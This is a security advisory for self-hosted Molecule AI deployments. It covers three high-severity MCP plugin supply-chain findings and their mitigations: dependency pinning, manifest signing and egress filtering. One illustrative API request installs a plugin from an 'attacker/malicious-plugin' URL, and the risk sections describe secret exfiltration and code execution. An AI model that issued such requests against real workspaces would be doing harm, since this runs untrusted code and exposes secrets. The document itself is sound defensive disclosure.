SAFE-MCP Security Advisory (2026-04-17)

High-severity findings from the SAFE-MCP audit and recommended mitigations for self-hosted deployments.

Advisory overview

This advisory documents three HIGH-severity findings from the SAFE-MCP security audit performed on the Molecule AI platform in April 2026. All three affect self-hosted deployments. If you are using the SaaS offering at moleculesai.app, mitigations are applied server-side — no action needed.

Published: April 17, 2026 Severity: HIGH (G-01, G-02, G-03) Affected versions: All self-hosted deployments prior to the fixes shipped in PRs #808 and associated plugin updates. Fixed in: molecule-core PRs #808 (platform), #809 (plugin scaffold).

G-01: Unpinned npm MCP packages — HIGH

Description

The workspace plugin scaffold (plugins/molecule-ai-plugin-*/package.json) uses unpinned version ranges for npm dependencies:

"dependencies": {
  "@anthropic-ai/sdk": "^0.32.0"
}

The caret (^) range means npm install can resolve to any compatible version, including versions with known vulnerabilities or a malicious next release published after the audit date.

Risk

Supply chain compromise if a package maintainer publishes a malicious version
Silent dependency drift as npm install pulls newer patch/minor versions
Potential conflicts with workspace-runtime's own dependency tree

Recommended mitigation

Pin all npm dependencies to exact versions before deploying:

# In each plugin directory
npm install --save-exact @anthropic-ai/sdk@0.32.1
npm install --save-exact <other-deps>

Add an .npmrc to enforce pinned installs:

save-exact=true

Commit package-lock.json and verify CI installs from the lockfile:

npm ci  # instead of npm install

For the platform build, ensure npm ci is used in CI rather than npm install to respect the lockfile.

G-02: No manifest signing — HIGH

Description

Plugin manifests (manifest.json) are served by the platform and executed by workspace containers without cryptographic verification. There is no mechanism to confirm that the manifest has not been tampered with after it was published by the plugin author.

Risk

An attacker with write access to the plugin source repository (or the CDN serving it) could modify manifest.json to:
- Inject additional tools that exfiltrate secrets from the workspace
- Redirect API calls to a malicious endpoint
- Add an attacker-controlled entrypoint path

Recommended mitigation

短期 (short-term): Inspect manifest.json files for all plugins before enabling them. Verify the author, version, and entrypoint are from a trusted source. Do not enable plugins from untrusted or unknown authors.

长期 (long-term): The platform will add manifest signing aligned with the OWASP MCPS (MCP Secure) cryptographic security layer. Plugin authors digitally sign their tool definitions (name, description, inputSchema) with an ECDSA P-256 key pair. The platform verifies signatures against the author's published public key, computes and stores schema hashes for pinning, and rejects connections where the schema hash has changed since the last verified session — providing "rug pull protection." This follows the MCPS L3 trust level: signed tool definitions required. Track progress in molecule-core issue tracker.

Until signing is available, treat plugin manifests as untrusted input.

G-03: Floating plugin references — HIGH

Description

Workspaces can install plugins by referencing any publicly accessible URL:

POST /workspaces/:id/plugins
{
  "source": "https://github.com/attacker/malicious-plugin/archive/refs/heads/main.tar.gz"
}

There is no allowlist, no integrity check, and no review gate on the plugin URL before the workspace downloads and executes code from it.

Risk

Confidential workspace data (secrets, memory, files) is sent to attacker-controlled servers
Arbitrary code execution within the workspace container
Lateral movement from the workspace container to internal services

Recommended mitigations

1. Restrict plugin installation in your deployment config:

Add a platform-level environment variable to allow only approved plugin sources. Until this variable exists, enforce it at the network layer (see below).

2. Network-level egress filtering:

Block outbound traffic from workspace containers to all IPs except the platform API and required external services (LLM providers, vector DBs, etc.). Workspace containers should not be able to reach arbitrary GitHub archives or external plugin URLs directly.

Example Fly.io fly.toml rule:

[[vm]]
  auto_destroy = false

# App-level egress rules (Fly Private Network)

Or use a Kubernetes NetworkPolicy:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: workspace-egress-lockdown
spec:
  podSelector:
    matchLabels:
      component: workspace
  policyTypes:
    - Egress
  egress:
    - to:
        - podSelector: {}
      ports:
        - port: 8080  # platform API
    - to:
        - namespaceSelector: {}
          podSelector:
            matchLabels:
              app: redis
      ports:
        - port: 6379
    # Block all other egress

3. Plugin allowlist (platform-level):

Set PLUGIN_ALLOW_UNPINNED=false in your environment to reject any plugin install requests that reference unpinned or unverified sources.

Remediation checklist for self-hosted operators

Audit all plugin package.json files — pin all dependencies to exact versions (MCP04: "avoid 'latest' or floating version references")
Verify CI/CD uses npm ci not npm install (MCP04: "no dependency integrity verification")
Commit and push package-lock.json for all plugins
Add .npmrc save-exact=true to all plugin directories
Inspect manifest.json for any enabled plugin before use (MCP04: "MCP connectors or plugins are installed without signing or provenance checks")
Block workspace egress to non-approved hosts at the network level (MCP09: "no asset inventory or endpoint discovery process")
Set PLUGIN_ALLOW_UNPINNED=false (when available) (MCP09: "teams can deploy MCP servers without central registration or security review")
Watch molecule-core for the manifest-signing feature (MCPS L3: "tool definition signatures required")

Normative references

The mitigations in this advisory align with the following OWASP publications:

MCP04:2025 — Software Supply Chain Attacks & Dependency Tampering OWASP MCP Top 10, 2025 edition OWASP MCP Top 10, 2025 edition

Relevant controls that informed G-01 and G-02 mitigations:

Signed Components & Provenance Verification: "Require cryptographic signing for SDKs, plugins, tool manifests, container images, and validate signatures during installation and startup."
Version Pinning & Approved Registries: "Pin component versions and avoid 'latest' references. Use internal package mirrors or registries and block direct downloads from public internet sources."
Build SBOM/CBOM Visibility: "Generate software bill of materials (SBOM) and cryptographic bill of materials (CBOM) snapshots for each MCP server and plugin package. Store these alongside deployments for auditing and incident response."
Dependency Scanning: "Apply software composition analysis (SCA) and code scanning tools to detect known CVEs, malicious indicators, and poisoned transitive dependencies."

MCP09:2025 — Shadow MCP Servers OWASP MCP Top 10, 2025 edition OWASP MCP Top 10, 2025 edition

Relevant controls that informed the G-03 plugin allowlist mitigation:

Central MCP Governance & Registry: "Create a centralized registry where every instance must be registered before deployment; tie registration to CI/CD pipelines."
Discovery & Continuous Scanning: "Use network discovery tools to detect open MCP ports and endpoints; automate weekly shadow MCP detection scans."
Baseline Configuration Templates: "Enforce authentication (mTLS, OAuth), disable unauthenticated tool calls, include preconfigured logging."

MCPS — Cryptographic Security Layer for MCP OWASP MCP Top 10 Recommended Controls OWASP MCP Top 10 Recommended Controls

The MCPS specification defines the Tool Definition Signing approach referenced in the G-02 long-term mitigation:

Tool authors sign tool definitions (name, description, inputSchema) with an ECDSA P-256 private key; clients verify against the author's published public key.
Schema hashes are computed and stored on first verified connection, then compared on subsequent connections to detect unauthorized modifications — "rug pull protection."
MCPS defines four trust levels (L0–L4); the G-02 long-term fix targets L3: "L3: L2 plus tool definition signatures required."

Reporting security issues

If you discover a new security issue in Molecule AI, please report it via GitHub Security Advisories on Molecule-AI/molecule-core or contact the security team through your support channel.

SAFE-MCP Security Advisory (2026-04-17)

On this page